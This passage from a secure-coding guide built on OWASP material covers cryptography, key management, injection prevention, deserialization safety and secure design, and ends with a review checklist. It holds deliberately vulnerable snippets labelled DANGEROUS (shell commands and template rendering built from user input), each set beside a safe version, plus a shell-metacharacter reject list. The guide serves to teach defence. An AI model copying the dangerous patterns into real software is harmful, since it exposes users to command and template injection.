| Asymmetric encryption | Curve25519 (ECC) or RSA-OAEP | Curve25519: 256-bit / RSA: 2048-bit minimum |
| Password hashing | Argon2id | See Section 2.2 |
| Message authentication | HMAC-SHA-256 | 256-bit |
| Digital signatures | Ed25519 or RSA-PSS | Ed25519: 256-bit / RSA: 2048-bit |
12.2 Cipher Mode Selection
Use authenticated encryption modes (GCM, CCM) as first preference. These provide both confidentiality and integrity in a single operation.
If authenticated modes are unavailable, use CTR or CBC with Encrypt-then-MAC. Never use ECB mode (identical plaintext blocks produce identical ciphertext blocks).
12.3 Random Number Generation
Use the cryptographic random source for your language:
| Language | Secure Function | Insecure (Never Use) |
|---|---|---|
| Java | SecureRandom |
Random, Math.random() |
| Python | secrets.token_bytes() |
random.random() |
| Node.js | crypto.randomBytes() |
Math.random() |
| PHP | random_bytes() |
rand(), mt_rand() |
| C# | RandomNumberGenerator |
Random |
| Go | crypto/rand |
math/rand |
| Rust | rand::rngs::OsRng |
-- |
12.4 Key Management Rules
- Generate keys using CSPRNG; never from keyboard mashing or common phrases
- Store keys separately from encrypted data
- Encrypt keys with Key Encryption Keys (KEK)
- Use HSMs, key vaults, or secrets managers for key storage
- Never hardcode keys in source code
- Rotate keys on: suspected compromise, defined cryptoperiod, or after encrypting ~34GB with 64-bit block ciphers
- Establish rotation procedures before you need them
13. Injection Prevention Beyond SQL
13.1 OS Command Injection
Best defense: don't invoke OS commands. Use library functions instead of shelling out.
When OS commands are unavoidable, pass arguments as separate array elements:
// DANGEROUS: single string with user input
Runtime.getRuntime().exec("convert " + userFilename + " output.png");
// SAFE: parameterized command array
ProcessBuilder pb = new ProcessBuilder("convert", validatedFilename, "output.png");
pb.directory(new File("/app/uploads"));
Process p = pb.start();
# DANGEROUS
os.system(f"convert {user_filename} output.png")
# SAFE
subprocess.run(["convert", validated_filename, "output.png"],
check=True, shell=False)
Never set shell=True (Python) or use Runtime.exec(String) with concatenated input.
Allowlist-validate commands and arguments. Reject shell metacharacters: & | ; $ > < \ ! \ ' " ( ) { } [ ] ~ #`
13.2 LDAP Injection
LDAP has two distinct escaping contexts:
- Distinguished Name (DN) escaping: Escape
\ # + < > , ; " =and surrounding spaces - Search filter escaping: Encode
* ( ) \ NULas hex (e.g.,*becomes\2a)
Use your framework's LDAP escaping functions. Never concatenate user input into LDAP queries.
13.3 XML External Entity (XXE) Prevention
Disable external entity processing in every XML parser:
// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
# Python (defusedxml)
import defusedxml.ElementTree as ET
tree = ET.parse(source) # Safe by default
13.4 Template Injection (SSTI)
Never pass user input as a template string:
# DANGEROUS: user input becomes template
render_template_string(user_input)
# SAFE: user input is a variable within a fixed template
render_template("page.html", user_data=user_input)
14. Deserialization Safety
14.1 The Core Rule
Never deserialize untrusted data using native serialization formats. Use JSON or XML with strict schema validation instead.
14.2 Language-Specific Guidance
Java:
- Override
ObjectInputStream.resolveClass()to restrict allowed classes - Mark sensitive fields as
transient - Unsafe:
XMLDecoder,fastjson< v1.2.68,XStream< v1.4.17 - Safe:
jackson-databind(without polymorphism),XStreamv1.4.17+ with allowlists,fastjson2(autotype disabled)
Python:
- Never use
pickle.load()/pickle.loads()with untrusted input - Use
yaml.safe_load()instead ofyaml.load() - Avoid
jsonpicklewith untrusted data - Detection: Base64 starting with
gASVindicates pickle
PHP:
- Replace
unserialize()withjson_decode()/json_encode()for untrusted data
.NET:
- Never use
BinaryFormatter(Microsoft states it cannot be secured) - Set
TypeNameHandling = TypeNameHandling.Nonein JSON.NET - Never use
JavaScriptTypeResolverwithJavaScriptSerializer - Implement allowlists via custom
SerializationBinder
14.3 Universal Defenses
- Use data-only formats (JSON) instead of object serialization
- Sign serialized data and verify before deserializing
- Enforce strict type allowlists
- Monitor deserialization-related CVEs for your stack
15. Secure Product Design Principles
15.1 Core Principles
Least Privilege: Every user, process, and service gets the minimum access needed. No more. Review periodically. Revoke proactively.
Defense in Depth: Multiple independent security layers. When one fails, others hold. This applies at every level: network, application, data, physical.
Zero Trust: No implicit trust based on network location. Every request is authenticated and authorized. Continuous verification, not perimeter-based trust.
Secure by Default: The default configuration should be the secure configuration. Users must opt in to less-secure options, not opt out of security.
Fail Closed: When a security control fails, deny access. Never fail to an open/permissive state.
15.2 Threat Modeling
Before writing code, answer these questions:
- What are we building? (Data flow diagram with trust boundaries)
- What can go wrong? (STRIDE per element, attack trees, abuse cases)
- What are we doing about it? (Mitigations mapped to threats)
- Did we do a good enough job? (Review, test, verify)
Use STRIDE for systematic threat identification:
| Category | Question |
|---|---|
| Spoofing | Can an attacker impersonate a user or component? |
| Tampering | Can data be modified in transit or at rest? |
| Repudiation | Can actions be denied without evidence? |
| Information Disclosure | Can data leak to unauthorized parties? |
| Denial of Service | Can availability be disrupted? |
| Elevation of Privilege | Can an attacker gain unauthorized access levels? |
15.3 The Five Focus Areas
Context: Understand what data the application processes, its risk profile, and where it fits in the organizational ecosystem.
Components: Select libraries and external services through security evaluation. Maintain an SBOM. Assess licensing, maintenance status, and vulnerability history.
Connections: Map every data flow. Know what data moves where, how it's stored, who accesses it. Enforce isolation between tiers and tenants.
Code: Input validation, output encoding, authentication, authorization, cryptography, least-privilege execution, secure memory handling, no hardcoded secrets, security testing, code audits, current patches.
Configuration: Least-privilege permissions, defense-in-depth controls, secure defaults, encryption for data at rest and in transit, secure failure states, HTTPS everywhere, regular updates, incident response plans.
Quick Reference: The 15-Second Security Review
Before merging any code, ask these questions:
| Question | If the answer is yes, you have a bug |
|---|---|
| Does this use string concatenation to build a query? | SQL/NoSQL/LDAP injection |
Does this use innerHTML, dangerouslySetInnerHTML, or v-html? |
XSS |
Does this use eval(), new Function(), or setTimeout(string)? |
Code injection |
| Does this accept a file without validating type, size, and name? | Arbitrary file upload |
| Does this construct a file path from user input? | Path traversal |
| Does this expose stack traces, SQL errors, or internal paths to users? | Information disclosure |
| Does this check authorization on the client but not the server? | Broken access control |
| Does this log passwords, tokens, or session IDs? | Credential exposure |
| Does this hardcode an API key, password, or secret? | Secret leakage |
Does this use pickle.load, unserialize, or BinaryFormatter on untrusted data? |
Deserialization RCE |
| Does this shell out with user-controlled arguments? | Command injection |
Does this use Math.random() or rand() for security purposes? |
Weak randomness |
| Does this accept XML without disabling external entities? | XXE |
| Does this process a user-supplied template string? | SSTI |
Sources
- OWASP Cheat Sheet Series -- 110+ security cheat sheets covering the topics above and more
- OWASP Secure Product Design
- OWASP Input Validation
- OWASP Authentication
- OWASP Authorization
- OWASP Session Management
- OWASP HTTP Headers
- OWASP Content Security Policy
- OWASP REST Security
- OWASP File Upload
- OWASP Third Party JavaScript
- OWASP XSS Prevention
- OWASP DOM XSS Prevention
- OWASP SQL Injection Prevention
- OWASP CSRF Prevention
- OWASP Password Storage
- OWASP Secrets Management
- OWASP Error Handling
- OWASP Logging
- OWASP Cryptographic Storage
- OWASP Injection Prevention
- OWASP Deserialization
- OWASP Query Parameterization
- OWASP Prototype Pollution Prevention
- OWASP Pinning
- OWASP CSS Security
- OWASP AJAX Security
- OWASP Bean Validation
- Shieldfy API Security Checklist